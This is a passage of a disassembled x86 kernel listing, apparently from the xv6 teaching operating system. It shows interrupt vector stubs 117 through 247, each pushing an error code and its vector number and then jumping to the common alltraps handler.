80105f3f: e9 35 f7 ff ff jmp 80105679 <alltraps>
80105f44 <vector117>:
.globl vector117
vector117:
pushl $0
80105f44: 6a 00 push $0x0
pushl $117
80105f46: 6a 75 push $0x75
jmp alltraps
80105f48: e9 2c f7 ff ff jmp 80105679 <alltraps>
80105f4d <vector118>:
.globl vector118
vector118:
pushl $0
80105f4d: 6a 00 push $0x0
pushl $118
80105f4f: 6a 76 push $0x76
jmp alltraps
80105f51: e9 23 f7 ff ff jmp 80105679 <alltraps>
80105f56 <vector119>:
.globl vector119
vector119:
pushl $0
80105f56: 6a 00 push $0x0
pushl $119
80105f58: 6a 77 push $0x77
jmp alltraps
80105f5a: e9 1a f7 ff ff jmp 80105679 <alltraps>
80105f5f <vector120>:
.globl vector120
vector120:
pushl $0
80105f5f: 6a 00 push $0x0
pushl $120
80105f61: 6a 78 push $0x78
jmp alltraps
80105f63: e9 11 f7 ff ff jmp 80105679 <alltraps>
80105f68 <vector121>:
.globl vector121
vector121:
pushl $0
80105f68: 6a 00 push $0x0
pushl $121
80105f6a: 6a 79 push $0x79
jmp alltraps
80105f6c: e9 08 f7 ff ff jmp 80105679 <alltraps>
80105f71 <vector122>:
.globl vector122
vector122:
pushl $0
80105f71: 6a 00 push $0x0
pushl $122
80105f73: 6a 7a push $0x7a
jmp alltraps
80105f75: e9 ff f6 ff ff jmp 80105679 <alltraps>
80105f7a <vector123>:
.globl vector123
vector123:
pushl $0
80105f7a: 6a 00 push $0x0
pushl $123
80105f7c: 6a 7b push $0x7b
jmp alltraps
80105f7e: e9 f6 f6 ff ff jmp 80105679 <alltraps>
80105f83 <vector124>:
.globl vector124
vector124:
pushl $0
80105f83: 6a 00 push $0x0
pushl $124
80105f85: 6a 7c push $0x7c
jmp alltraps
80105f87: e9 ed f6 ff ff jmp 80105679 <alltraps>
80105f8c <vector125>:
.globl vector125
vector125:
pushl $0
80105f8c: 6a 00 push $0x0
pushl $125
80105f8e: 6a 7d push $0x7d
jmp alltraps
80105f90: e9 e4 f6 ff ff jmp 80105679 <alltraps>
80105f95 <vector126>:
.globl vector126
vector126:
pushl $0
80105f95: 6a 00 push $0x0
pushl $126
80105f97: 6a 7e push $0x7e
jmp alltraps
80105f99: e9 db f6 ff ff jmp 80105679 <alltraps>
80105f9e <vector127>:
.globl vector127
vector127:
pushl $0
80105f9e: 6a 00 push $0x0
pushl $127
80105fa0: 6a 7f push $0x7f
jmp alltraps
80105fa2: e9 d2 f6 ff ff jmp 80105679 <alltraps>
80105fa7 <vector128>:
.globl vector128
vector128:
pushl $0
80105fa7: 6a 00 push $0x0
pushl $128
80105fa9: 68 80 00 00 00 push $0x80
jmp alltraps
80105fae: e9 c6 f6 ff ff jmp 80105679 <alltraps>
80105fb3 <vector129>:
.globl vector129
vector129:
pushl $0
80105fb3: 6a 00 push $0x0
pushl $129
80105fb5: 68 81 00 00 00 push $0x81
jmp alltraps
80105fba: e9 ba f6 ff ff jmp 80105679 <alltraps>
80105fbf <vector130>:
.globl vector130
vector130:
pushl $0
80105fbf: 6a 00 push $0x0
pushl $130
80105fc1: 68 82 00 00 00 push $0x82
jmp alltraps
80105fc6: e9 ae f6 ff ff jmp 80105679 <alltraps>
80105fcb <vector131>:
.globl vector131
vector131:
pushl $0
80105fcb: 6a 00 push $0x0
pushl $131
80105fcd: 68 83 00 00 00 push $0x83
jmp alltraps
80105fd2: e9 a2 f6 ff ff jmp 80105679 <alltraps>
80105fd7 <vector132>:
.globl vector132
vector132:
pushl $0
80105fd7: 6a 00 push $0x0
pushl $132
80105fd9: 68 84 00 00 00 push $0x84
jmp alltraps
80105fde: e9 96 f6 ff ff jmp 80105679 <alltraps>
80105fe3 <vector133>:
.globl vector133
vector133:
pushl $0
80105fe3: 6a 00 push $0x0
pushl $133
80105fe5: 68 85 00 00 00 push $0x85
jmp alltraps
80105fea: e9 8a f6 ff ff jmp 80105679 <alltraps>
80105fef <vector134>:
.globl vector134
vector134:
pushl $0
80105fef: 6a 00 push $0x0
pushl $134
80105ff1: 68 86 00 00 00 push $0x86
jmp alltraps
80105ff6: e9 7e f6 ff ff jmp 80105679 <alltraps>
80105ffb <vector135>:
.globl vector135
vector135:
pushl $0
80105ffb: 6a 00 push $0x0
pushl $135
80105ffd: 68 87 00 00 00 push $0x87
jmp alltraps
80106002: e9 72 f6 ff ff jmp 80105679 <alltraps>
80106007 <vector136>:
.globl vector136
vector136:
pushl $0
80106007: 6a 00 push $0x0
pushl $136
80106009: 68 88 00 00 00 push $0x88
jmp alltraps
8010600e: e9 66 f6 ff ff jmp 80105679 <alltraps>
80106013 <vector137>:
.globl vector137
vector137:
pushl $0
80106013: 6a 00 push $0x0
pushl $137
80106015: 68 89 00 00 00 push $0x89
jmp alltraps
8010601a: e9 5a f6 ff ff jmp 80105679 <alltraps>
8010601f <vector138>:
.globl vector138
vector138:
pushl $0
8010601f: 6a 00 push $0x0
pushl $138
80106021: 68 8a 00 00 00 push $0x8a
jmp alltraps
80106026: e9 4e f6 ff ff jmp 80105679 <alltraps>
8010602b <vector139>:
.globl vector139
vector139:
pushl $0
8010602b: 6a 00 push $0x0
pushl $139
8010602d: 68 8b 00 00 00 push $0x8b
jmp alltraps
80106032: e9 42 f6 ff ff jmp 80105679 <alltraps>
80106037 <vector140>:
.globl vector140
vector140:
pushl $0
80106037: 6a 00 push $0x0
pushl $140
80106039: 68 8c 00 00 00 push $0x8c
jmp alltraps
8010603e: e9 36 f6 ff ff jmp 80105679 <alltraps>
80106043 <vector141>:
.globl vector141
vector141:
pushl $0
80106043: 6a 00 push $0x0
pushl $141
80106045: 68 8d 00 00 00 push $0x8d
jmp alltraps
8010604a: e9 2a f6 ff ff jmp 80105679 <alltraps>
8010604f <vector142>:
.globl vector142
vector142:
pushl $0
8010604f: 6a 00 push $0x0
pushl $142
80106051: 68 8e 00 00 00 push $0x8e
jmp alltraps
80106056: e9 1e f6 ff ff jmp 80105679 <alltraps>
8010605b <vector143>:
.globl vector143
vector143:
pushl $0
8010605b: 6a 00 push $0x0
pushl $143
8010605d: 68 8f 00 00 00 push $0x8f
jmp alltraps
80106062: e9 12 f6 ff ff jmp 80105679 <alltraps>
80106067 <vector144>:
.globl vector144
vector144:
pushl $0
80106067: 6a 00 push $0x0
pushl $144
80106069: 68 90 00 00 00 push $0x90
jmp alltraps
8010606e: e9 06 f6 ff ff jmp 80105679 <alltraps>
80106073 <vector145>:
.globl vector145
vector145:
pushl $0
80106073: 6a 00 push $0x0
pushl $145
80106075: 68 91 00 00 00 push $0x91
jmp alltraps
8010607a: e9 fa f5 ff ff jmp 80105679 <alltraps>
8010607f <vector146>:
.globl vector146
vector146:
pushl $0
8010607f: 6a 00 push $0x0
pushl $146
80106081: 68 92 00 00 00 push $0x92
jmp alltraps
80106086: e9 ee f5 ff ff jmp 80105679 <alltraps>
8010608b <vector147>:
.globl vector147
vector147:
pushl $0
8010608b: 6a 00 push $0x0
pushl $147
8010608d: 68 93 00 00 00 push $0x93
jmp alltraps
80106092: e9 e2 f5 ff ff jmp 80105679 <alltraps>
80106097 <vector148>:
.globl vector148
vector148:
pushl $0
80106097: 6a 00 push $0x0
pushl $148
80106099: 68 94 00 00 00 push $0x94
jmp alltraps
8010609e: e9 d6 f5 ff ff jmp 80105679 <alltraps>
801060a3 <vector149>:
.globl vector149
vector149:
pushl $0
801060a3: 6a 00 push $0x0
pushl $149
801060a5: 68 95 00 00 00 push $0x95
jmp alltraps
801060aa: e9 ca f5 ff ff jmp 80105679 <alltraps>
801060af <vector150>:
.globl vector150
vector150:
pushl $0
801060af: 6a 00 push $0x0
pushl $150
801060b1: 68 96 00 00 00 push $0x96
jmp alltraps
801060b6: e9 be f5 ff ff jmp 80105679 <alltraps>
801060bb <vector151>:
.globl vector151
vector151:
pushl $0
801060bb: 6a 00 push $0x0
pushl $151
801060bd: 68 97 00 00 00 push $0x97
jmp alltraps
801060c2: e9 b2 f5 ff ff jmp 80105679 <alltraps>
801060c7 <vector152>:
.globl vector152
vector152:
pushl $0
801060c7: 6a 00 push $0x0
pushl $152
801060c9: 68 98 00 00 00 push $0x98
jmp alltraps
801060ce: e9 a6 f5 ff ff jmp 80105679 <alltraps>
801060d3 <vector153>:
.globl vector153
vector153:
pushl $0
801060d3: 6a 00 push $0x0
pushl $153
801060d5: 68 99 00 00 00 push $0x99
jmp alltraps
801060da: e9 9a f5 ff ff jmp 80105679 <alltraps>
801060df <vector154>:
.globl vector154
vector154:
pushl $0
801060df: 6a 00 push $0x0
pushl $154
801060e1: 68 9a 00 00 00 push $0x9a
jmp alltraps
801060e6: e9 8e f5 ff ff jmp 80105679 <alltraps>
801060eb <vector155>:
.globl vector155
vector155:
pushl $0
801060eb: 6a 00 push $0x0
pushl $155
801060ed: 68 9b 00 00 00 push $0x9b
jmp alltraps
801060f2: e9 82 f5 ff ff jmp 80105679 <alltraps>
801060f7 <vector156>:
.globl vector156
vector156:
pushl $0
801060f7: 6a 00 push $0x0
pushl $156
801060f9: 68 9c 00 00 00 push $0x9c
jmp alltraps
801060fe: e9 76 f5 ff ff jmp 80105679 <alltraps>
80106103 <vector157>:
.globl vector157
vector157:
pushl $0
80106103: 6a 00 push $0x0
pushl $157
80106105: 68 9d 00 00 00 push $0x9d
jmp alltraps
8010610a: e9 6a f5 ff ff jmp 80105679 <alltraps>
8010610f <vector158>:
.globl vector158
vector158:
pushl $0
8010610f: 6a 00 push $0x0
pushl $158
80106111: 68 9e 00 00 00 push $0x9e
jmp alltraps
80106116: e9 5e f5 ff ff jmp 80105679 <alltraps>
8010611b <vector159>:
.globl vector159
vector159:
pushl $0
8010611b: 6a 00 push $0x0
pushl $159
8010611d: 68 9f 00 00 00 push $0x9f
jmp alltraps
80106122: e9 52 f5 ff ff jmp 80105679 <alltraps>
80106127 <vector160>:
.globl vector160
vector160:
pushl $0
80106127: 6a 00 push $0x0
pushl $160
80106129: 68 a0 00 00 00 push $0xa0
jmp alltraps
8010612e: e9 46 f5 ff ff jmp 80105679 <alltraps>
80106133 <vector161>:
.globl vector161
vector161:
pushl $0
80106133: 6a 00 push $0x0
pushl $161
80106135: 68 a1 00 00 00 push $0xa1
jmp alltraps
8010613a: e9 3a f5 ff ff jmp 80105679 <alltraps>
8010613f <vector162>:
.globl vector162
vector162:
pushl $0
8010613f: 6a 00 push $0x0
pushl $162
80106141: 68 a2 00 00 00 push $0xa2
jmp alltraps
80106146: e9 2e f5 ff ff jmp 80105679 <alltraps>
8010614b <vector163>:
.globl vector163
vector163:
pushl $0
8010614b: 6a 00 push $0x0
pushl $163
8010614d: 68 a3 00 00 00 push $0xa3
jmp alltraps
80106152: e9 22 f5 ff ff jmp 80105679 <alltraps>
80106157 <vector164>:
.globl vector164
vector164:
pushl $0
80106157: 6a 00 push $0x0
pushl $164
80106159: 68 a4 00 00 00 push $0xa4
jmp alltraps
8010615e: e9 16 f5 ff ff jmp 80105679 <alltraps>
80106163 <vector165>:
.globl vector165
vector165:
pushl $0
80106163: 6a 00 push $0x0
pushl $165
80106165: 68 a5 00 00 00 push $0xa5
jmp alltraps
8010616a: e9 0a f5 ff ff jmp 80105679 <alltraps>
8010616f <vector166>:
.globl vector166
vector166:
pushl $0
8010616f: 6a 00 push $0x0
pushl $166
80106171: 68 a6 00 00 00 push $0xa6
jmp alltraps
80106176: e9 fe f4 ff ff jmp 80105679 <alltraps>
8010617b <vector167>:
.globl vector167
vector167:
pushl $0
8010617b: 6a 00 push $0x0
pushl $167
8010617d: 68 a7 00 00 00 push $0xa7
jmp alltraps
80106182: e9 f2 f4 ff ff jmp 80105679 <alltraps>
80106187 <vector168>:
.globl vector168
vector168:
pushl $0
80106187: 6a 00 push $0x0
pushl $168
80106189: 68 a8 00 00 00 push $0xa8
jmp alltraps
8010618e: e9 e6 f4 ff ff jmp 80105679 <alltraps>
80106193 <vector169>:
.globl vector169
vector169:
pushl $0
80106193: 6a 00 push $0x0
pushl $169
80106195: 68 a9 00 00 00 push $0xa9
jmp alltraps
8010619a: e9 da f4 ff ff jmp 80105679 <alltraps>
8010619f <vector170>:
.globl vector170
vector170:
pushl $0
8010619f: 6a 00 push $0x0
pushl $170
801061a1: 68 aa 00 00 00 push $0xaa
jmp alltraps
801061a6: e9 ce f4 ff ff jmp 80105679 <alltraps>
801061ab <vector171>:
.globl vector171
vector171:
pushl $0
801061ab: 6a 00 push $0x0
pushl $171
801061ad: 68 ab 00 00 00 push $0xab
jmp alltraps
801061b2: e9 c2 f4 ff ff jmp 80105679 <alltraps>
801061b7 <vector172>:
.globl vector172
vector172:
pushl $0
801061b7: 6a 00 push $0x0
pushl $172
801061b9: 68 ac 00 00 00 push $0xac
jmp alltraps
801061be: e9 b6 f4 ff ff jmp 80105679 <alltraps>
801061c3 <vector173>:
.globl vector173
vector173:
pushl $0
801061c3: 6a 00 push $0x0
pushl $173
801061c5: 68 ad 00 00 00 push $0xad
jmp alltraps
801061ca: e9 aa f4 ff ff jmp 80105679 <alltraps>
801061cf <vector174>:
.globl vector174
vector174:
pushl $0
801061cf: 6a 00 push $0x0
pushl $174
801061d1: 68 ae 00 00 00 push $0xae
jmp alltraps
801061d6: e9 9e f4 ff ff jmp 80105679 <alltraps>
801061db <vector175>:
.globl vector175
vector175:
pushl $0
801061db: 6a 00 push $0x0
pushl $175
801061dd: 68 af 00 00 00 push $0xaf
jmp alltraps
801061e2: e9 92 f4 ff ff jmp 80105679 <alltraps>
801061e7 <vector176>:
.globl vector176
vector176:
pushl $0
801061e7: 6a 00 push $0x0
pushl $176
801061e9: 68 b0 00 00 00 push $0xb0
jmp alltraps
801061ee: e9 86 f4 ff ff jmp 80105679 <alltraps>
801061f3 <vector177>:
.globl vector177
vector177:
pushl $0
801061f3: 6a 00 push $0x0
pushl $177
801061f5: 68 b1 00 00 00 push $0xb1
jmp alltraps
801061fa: e9 7a f4 ff ff jmp 80105679 <alltraps>
801061ff <vector178>:
.globl vector178
vector178:
pushl $0
801061ff: 6a 00 push $0x0
pushl $178
80106201: 68 b2 00 00 00 push $0xb2
jmp alltraps
80106206: e9 6e f4 ff ff jmp 80105679 <alltraps>
8010620b <vector179>:
.globl vector179
vector179:
pushl $0
8010620b: 6a 00 push $0x0
pushl $179
8010620d: 68 b3 00 00 00 push $0xb3
jmp alltraps
80106212: e9 62 f4 ff ff jmp 80105679 <alltraps>
80106217 <vector180>:
.globl vector180
vector180:
pushl $0
80106217: 6a 00 push $0x0
pushl $180
80106219: 68 b4 00 00 00 push $0xb4
jmp alltraps
8010621e: e9 56 f4 ff ff jmp 80105679 <alltraps>
80106223 <vector181>:
.globl vector181
vector181:
pushl $0
80106223: 6a 00 push $0x0
pushl $181
80106225: 68 b5 00 00 00 push $0xb5
jmp alltraps
8010622a: e9 4a f4 ff ff jmp 80105679 <alltraps>
8010622f <vector182>:
.globl vector182
vector182:
pushl $0
8010622f: 6a 00 push $0x0
pushl $182
80106231: 68 b6 00 00 00 push $0xb6
jmp alltraps
80106236: e9 3e f4 ff ff jmp 80105679 <alltraps>
8010623b <vector183>:
.globl vector183
vector183:
pushl $0
8010623b: 6a 00 push $0x0
pushl $183
8010623d: 68 b7 00 00 00 push $0xb7
jmp alltraps
80106242: e9 32 f4 ff ff jmp 80105679 <alltraps>
80106247 <vector184>:
.globl vector184
vector184:
pushl $0
80106247: 6a 00 push $0x0
pushl $184
80106249: 68 b8 00 00 00 push $0xb8
jmp alltraps
8010624e: e9 26 f4 ff ff jmp 80105679 <alltraps>
80106253 <vector185>:
.globl vector185
vector185:
pushl $0
80106253: 6a 00 push $0x0
pushl $185
80106255: 68 b9 00 00 00 push $0xb9
jmp alltraps
8010625a: e9 1a f4 ff ff jmp 80105679 <alltraps>
8010625f <vector186>:
.globl vector186
vector186:
pushl $0
8010625f: 6a 00 push $0x0
pushl $186
80106261: 68 ba 00 00 00 push $0xba
jmp alltraps
80106266: e9 0e f4 ff ff jmp 80105679 <alltraps>
8010626b <vector187>:
.globl vector187
vector187:
pushl $0
8010626b: 6a 00 push $0x0
pushl $187
8010626d: 68 bb 00 00 00 push $0xbb
jmp alltraps
80106272: e9 02 f4 ff ff jmp 80105679 <alltraps>
80106277 <vector188>:
.globl vector188
vector188:
pushl $0
80106277: 6a 00 push $0x0
pushl $188
80106279: 68 bc 00 00 00 push $0xbc
jmp alltraps
8010627e: e9 f6 f3 ff ff jmp 80105679 <alltraps>
80106283 <vector189>:
.globl vector189
vector189:
pushl $0
80106283: 6a 00 push $0x0
pushl $189
80106285: 68 bd 00 00 00 push $0xbd
jmp alltraps
8010628a: e9 ea f3 ff ff jmp 80105679 <alltraps>
8010628f <vector190>:
.globl vector190
vector190:
pushl $0
8010628f: 6a 00 push $0x0
pushl $190
80106291: 68 be 00 00 00 push $0xbe
jmp alltraps
80106296: e9 de f3 ff ff jmp 80105679 <alltraps>
8010629b <vector191>:
.globl vector191
vector191:
pushl $0
8010629b: 6a 00 push $0x0
pushl $191
8010629d: 68 bf 00 00 00 push $0xbf
jmp alltraps
801062a2: e9 d2 f3 ff ff jmp 80105679 <alltraps>
801062a7 <vector192>:
.globl vector192
vector192:
pushl $0
801062a7: 6a 00 push $0x0
pushl $192
801062a9: 68 c0 00 00 00 push $0xc0
jmp alltraps
801062ae: e9 c6 f3 ff ff jmp 80105679 <alltraps>
801062b3 <vector193>:
.globl vector193
vector193:
pushl $0
801062b3: 6a 00 push $0x0
pushl $193
801062b5: 68 c1 00 00 00 push $0xc1
jmp alltraps
801062ba: e9 ba f3 ff ff jmp 80105679 <alltraps>
801062bf <vector194>:
.globl vector194
vector194:
pushl $0
801062bf: 6a 00 push $0x0
pushl $194
801062c1: 68 c2 00 00 00 push $0xc2
jmp alltraps
801062c6: e9 ae f3 ff ff jmp 80105679 <alltraps>
801062cb <vector195>:
.globl vector195
vector195:
pushl $0
801062cb: 6a 00 push $0x0
pushl $195
801062cd: 68 c3 00 00 00 push $0xc3
jmp alltraps
801062d2: e9 a2 f3 ff ff jmp 80105679 <alltraps>
801062d7 <vector196>:
.globl vector196
vector196:
pushl $0
801062d7: 6a 00 push $0x0
pushl $196
801062d9: 68 c4 00 00 00 push $0xc4
jmp alltraps
801062de: e9 96 f3 ff ff jmp 80105679 <alltraps>
801062e3 <vector197>:
.globl vector197
vector197:
pushl $0
801062e3: 6a 00 push $0x0
pushl $197
801062e5: 68 c5 00 00 00 push $0xc5
jmp alltraps
801062ea: e9 8a f3 ff ff jmp 80105679 <alltraps>
801062ef <vector198>:
.globl vector198
vector198:
pushl $0
801062ef: 6a 00 push $0x0
pushl $198
801062f1: 68 c6 00 00 00 push $0xc6
jmp alltraps
801062f6: e9 7e f3 ff ff jmp 80105679 <alltraps>
801062fb <vector199>:
.globl vector199
vector199:
pushl $0
801062fb: 6a 00 push $0x0
pushl $199
801062fd: 68 c7 00 00 00 push $0xc7
jmp alltraps
80106302: e9 72 f3 ff ff jmp 80105679 <alltraps>
80106307 <vector200>:
.globl vector200
vector200:
pushl $0
80106307: 6a 00 push $0x0
pushl $200
80106309: 68 c8 00 00 00 push $0xc8
jmp alltraps
8010630e: e9 66 f3 ff ff jmp 80105679 <alltraps>
80106313 <vector201>:
.globl vector201
vector201:
pushl $0
80106313: 6a 00 push $0x0
pushl $201
80106315: 68 c9 00 00 00 push $0xc9
jmp alltraps
8010631a: e9 5a f3 ff ff jmp 80105679 <alltraps>
8010631f <vector202>:
.globl vector202
vector202:
pushl $0
8010631f: 6a 00 push $0x0
pushl $202
80106321: 68 ca 00 00 00 push $0xca
jmp alltraps
80106326: e9 4e f3 ff ff jmp 80105679 <alltraps>
8010632b <vector203>:
.globl vector203
vector203:
pushl $0
8010632b: 6a 00 push $0x0
pushl $203
8010632d: 68 cb 00 00 00 push $0xcb
jmp alltraps
80106332: e9 42 f3 ff ff jmp 80105679 <alltraps>
80106337 <vector204>:
.globl vector204
vector204:
pushl $0
80106337: 6a 00 push $0x0
pushl $204
80106339: 68 cc 00 00 00 push $0xcc
jmp alltraps
8010633e: e9 36 f3 ff ff jmp 80105679 <alltraps>
80106343 <vector205>:
.globl vector205
vector205:
pushl $0
80106343: 6a 00 push $0x0
pushl $205
80106345: 68 cd 00 00 00 push $0xcd
jmp alltraps
8010634a: e9 2a f3 ff ff jmp 80105679 <alltraps>
8010634f <vector206>:
.globl vector206
vector206:
pushl $0
8010634f: 6a 00 push $0x0
pushl $206
80106351: 68 ce 00 00 00 push $0xce
jmp alltraps
80106356: e9 1e f3 ff ff jmp 80105679 <alltraps>
8010635b <vector207>:
.globl vector207
vector207:
pushl $0
8010635b: 6a 00 push $0x0
pushl $207
8010635d: 68 cf 00 00 00 push $0xcf
jmp alltraps
80106362: e9 12 f3 ff ff jmp 80105679 <alltraps>
80106367 <vector208>:
.globl vector208
vector208:
pushl $0
80106367: 6a 00 push $0x0
pushl $208
80106369: 68 d0 00 00 00 push $0xd0
jmp alltraps
8010636e: e9 06 f3 ff ff jmp 80105679 <alltraps>
80106373 <vector209>:
.globl vector209
vector209:
pushl $0
80106373: 6a 00 push $0x0
pushl $209
80106375: 68 d1 00 00 00 push $0xd1
jmp alltraps
8010637a: e9 fa f2 ff ff jmp 80105679 <alltraps>
8010637f <vector210>:
.globl vector210
vector210:
pushl $0
8010637f: 6a 00 push $0x0
pushl $210
80106381: 68 d2 00 00 00 push $0xd2
jmp alltraps
80106386: e9 ee f2 ff ff jmp 80105679 <alltraps>
8010638b <vector211>:
.globl vector211
vector211:
pushl $0
8010638b: 6a 00 push $0x0
pushl $211
8010638d: 68 d3 00 00 00 push $0xd3
jmp alltraps
80106392: e9 e2 f2 ff ff jmp 80105679 <alltraps>
80106397 <vector212>:
.globl vector212
vector212:
pushl $0
80106397: 6a 00 push $0x0
pushl $212
80106399: 68 d4 00 00 00 push $0xd4
jmp alltraps
8010639e: e9 d6 f2 ff ff jmp 80105679 <alltraps>
801063a3 <vector213>:
.globl vector213
vector213:
pushl $0
801063a3: 6a 00 push $0x0
pushl $213
801063a5: 68 d5 00 00 00 push $0xd5
jmp alltraps
801063aa: e9 ca f2 ff ff jmp 80105679 <alltraps>
801063af <vector214>:
.globl vector214
vector214:
pushl $0
801063af: 6a 00 push $0x0
pushl $214
801063b1: 68 d6 00 00 00 push $0xd6
jmp alltraps
801063b6: e9 be f2 ff ff jmp 80105679 <alltraps>
801063bb <vector215>:
.globl vector215
vector215:
pushl $0
801063bb: 6a 00 push $0x0
pushl $215
801063bd: 68 d7 00 00 00 push $0xd7
jmp alltraps
801063c2: e9 b2 f2 ff ff jmp 80105679 <alltraps>
801063c7 <vector216>:
.globl vector216
vector216:
pushl $0
801063c7: 6a 00 push $0x0
pushl $216
801063c9: 68 d8 00 00 00 push $0xd8
jmp alltraps
801063ce: e9 a6 f2 ff ff jmp 80105679 <alltraps>
801063d3 <vector217>:
.globl vector217
vector217:
pushl $0
801063d3: 6a 00 push $0x0
pushl $217
801063d5: 68 d9 00 00 00 push $0xd9
jmp alltraps
801063da: e9 9a f2 ff ff jmp 80105679 <alltraps>
801063df <vector218>:
.globl vector218
vector218:
pushl $0
801063df: 6a 00 push $0x0
pushl $218
801063e1: 68 da 00 00 00 push $0xda
jmp alltraps
801063e6: e9 8e f2 ff ff jmp 80105679 <alltraps>
801063eb <vector219>:
.globl vector219
vector219:
pushl $0
801063eb: 6a 00 push $0x0
pushl $219
801063ed: 68 db 00 00 00 push $0xdb
jmp alltraps
801063f2: e9 82 f2 ff ff jmp 80105679 <alltraps>
801063f7 <vector220>:
.globl vector220
vector220:
pushl $0
801063f7: 6a 00 push $0x0
pushl $220
801063f9: 68 dc 00 00 00 push $0xdc
jmp alltraps
801063fe: e9 76 f2 ff ff jmp 80105679 <alltraps>
80106403 <vector221>:
.globl vector221
vector221:
pushl $0
80106403: 6a 00 push $0x0
pushl $221
80106405: 68 dd 00 00 00 push $0xdd
jmp alltraps
8010640a: e9 6a f2 ff ff jmp 80105679 <alltraps>
8010640f <vector222>:
.globl vector222
vector222:
pushl $0
8010640f: 6a 00 push $0x0
pushl $222
80106411: 68 de 00 00 00 push $0xde
jmp alltraps
80106416: e9 5e f2 ff ff jmp 80105679 <alltraps>
8010641b <vector223>:
.globl vector223
vector223:
pushl $0
8010641b: 6a 00 push $0x0
pushl $223
8010641d: 68 df 00 00 00 push $0xdf
jmp alltraps
80106422: e9 52 f2 ff ff jmp 80105679 <alltraps>
80106427 <vector224>:
.globl vector224
vector224:
pushl $0
80106427: 6a 00 push $0x0
pushl $224
80106429: 68 e0 00 00 00 push $0xe0
jmp alltraps
8010642e: e9 46 f2 ff ff jmp 80105679 <alltraps>
80106433 <vector225>:
.globl vector225
vector225:
pushl $0
80106433: 6a 00 push $0x0
pushl $225
80106435: 68 e1 00 00 00 push $0xe1
jmp alltraps
8010643a: e9 3a f2 ff ff jmp 80105679 <alltraps>
8010643f <vector226>:
.globl vector226
vector226:
pushl $0
8010643f: 6a 00 push $0x0
pushl $226
80106441: 68 e2 00 00 00 push $0xe2
jmp alltraps
80106446: e9 2e f2 ff ff jmp 80105679 <alltraps>
8010644b <vector227>:
.globl vector227
vector227:
pushl $0
8010644b: 6a 00 push $0x0
pushl $227
8010644d: 68 e3 00 00 00 push $0xe3
jmp alltraps
80106452: e9 22 f2 ff ff jmp 80105679 <alltraps>
80106457 <vector228>:
.globl vector228
vector228:
pushl $0
80106457: 6a 00 push $0x0
pushl $228
80106459: 68 e4 00 00 00 push $0xe4
jmp alltraps
8010645e: e9 16 f2 ff ff jmp 80105679 <alltraps>
80106463 <vector229>:
.globl vector229
vector229:
pushl $0
80106463: 6a 00 push $0x0
pushl $229
80106465: 68 e5 00 00 00 push $0xe5
jmp alltraps
8010646a: e9 0a f2 ff ff jmp 80105679 <alltraps>
8010646f <vector230>:
.globl vector230
vector230:
pushl $0
8010646f: 6a 00 push $0x0
pushl $230
80106471: 68 e6 00 00 00 push $0xe6
jmp alltraps
80106476: e9 fe f1 ff ff jmp 80105679 <alltraps>
8010647b <vector231>:
.globl vector231
vector231:
pushl $0
8010647b: 6a 00 push $0x0
pushl $231
8010647d: 68 e7 00 00 00 push $0xe7
jmp alltraps
80106482: e9 f2 f1 ff ff jmp 80105679 <alltraps>
80106487 <vector232>:
.globl vector232
vector232:
pushl $0
80106487: 6a 00 push $0x0
pushl $232
80106489: 68 e8 00 00 00 push $0xe8
jmp alltraps
8010648e: e9 e6 f1 ff ff jmp 80105679 <alltraps>
80106493 <vector233>:
.globl vector233
vector233:
pushl $0
80106493: 6a 00 push $0x0
pushl $233
80106495: 68 e9 00 00 00 push $0xe9
jmp alltraps
8010649a: e9 da f1 ff ff jmp 80105679 <alltraps>
8010649f <vector234>:
.globl vector234
vector234:
pushl $0
8010649f: 6a 00 push $0x0
pushl $234
801064a1: 68 ea 00 00 00 push $0xea
jmp alltraps
801064a6: e9 ce f1 ff ff jmp 80105679 <alltraps>
801064ab <vector235>:
.globl vector235
vector235:
pushl $0
801064ab: 6a 00 push $0x0
pushl $235
801064ad: 68 eb 00 00 00 push $0xeb
jmp alltraps
801064b2: e9 c2 f1 ff ff jmp 80105679 <alltraps>
801064b7 <vector236>:
.globl vector236
vector236:
pushl $0
801064b7: 6a 00 push $0x0
pushl $236
801064b9: 68 ec 00 00 00 push $0xec
jmp alltraps
801064be: e9 b6 f1 ff ff jmp 80105679 <alltraps>
801064c3 <vector237>:
.globl vector237
vector237:
pushl $0
801064c3: 6a 00 push $0x0
pushl $237
801064c5: 68 ed 00 00 00 push $0xed
jmp alltraps
801064ca: e9 aa f1 ff ff jmp 80105679 <alltraps>
801064cf <vector238>:
.globl vector238
vector238:
pushl $0
801064cf: 6a 00 push $0x0
pushl $238
801064d1: 68 ee 00 00 00 push $0xee
jmp alltraps
801064d6: e9 9e f1 ff ff jmp 80105679 <alltraps>
801064db <vector239>:
.globl vector239
vector239:
pushl $0
801064db: 6a 00 push $0x0
pushl $239
801064dd: 68 ef 00 00 00 push $0xef
jmp alltraps
801064e2: e9 92 f1 ff ff jmp 80105679 <alltraps>
801064e7 <vector240>:
.globl vector240
vector240:
pushl $0
801064e7: 6a 00 push $0x0
pushl $240
801064e9: 68 f0 00 00 00 push $0xf0
jmp alltraps
801064ee: e9 86 f1 ff ff jmp 80105679 <alltraps>
801064f3 <vector241>:
.globl vector241
vector241:
pushl $0
801064f3: 6a 00 push $0x0
pushl $241
801064f5: 68 f1 00 00 00 push $0xf1
jmp alltraps
801064fa: e9 7a f1 ff ff jmp 80105679 <alltraps>
801064ff <vector242>:
.globl vector242
vector242:
pushl $0
801064ff: 6a 00 push $0x0
pushl $242
80106501: 68 f2 00 00 00 push $0xf2
jmp alltraps
80106506: e9 6e f1 ff ff jmp 80105679 <alltraps>
8010650b <vector243>:
.globl vector243
vector243:
pushl $0
8010650b: 6a 00 push $0x0
pushl $243
8010650d: 68 f3 00 00 00 push $0xf3
jmp alltraps
80106512: e9 62 f1 ff ff jmp 80105679 <alltraps>
80106517 <vector244>:
.globl vector244
vector244:
pushl $0
80106517: 6a 00 push $0x0
pushl $244
80106519: 68 f4 00 00 00 push $0xf4
jmp alltraps
8010651e: e9 56 f1 ff ff jmp 80105679 <alltraps>
80106523 <vector245>:
.globl vector245
vector245:
pushl $0
80106523: 6a 00 push $0x0
pushl $245
80106525: 68 f5 00 00 00 push $0xf5
jmp alltraps
8010652a: e9 4a f1 ff ff jmp 80105679 <alltraps>
8010652f <vector246>:
.globl vector246
vector246:
pushl $0
8010652f: 6a 00 push $0x0
pushl $246
80106531: 68 f6 00 00 00 push $0xf6
jmp alltraps
80106536: e9 3e f1 ff ff jmp 80105679 <alltraps>
8010653b <vector247>:
.globl vector247
vector247:
pushl $0
8010653b: 6a 00 push $0x0
pushl $247
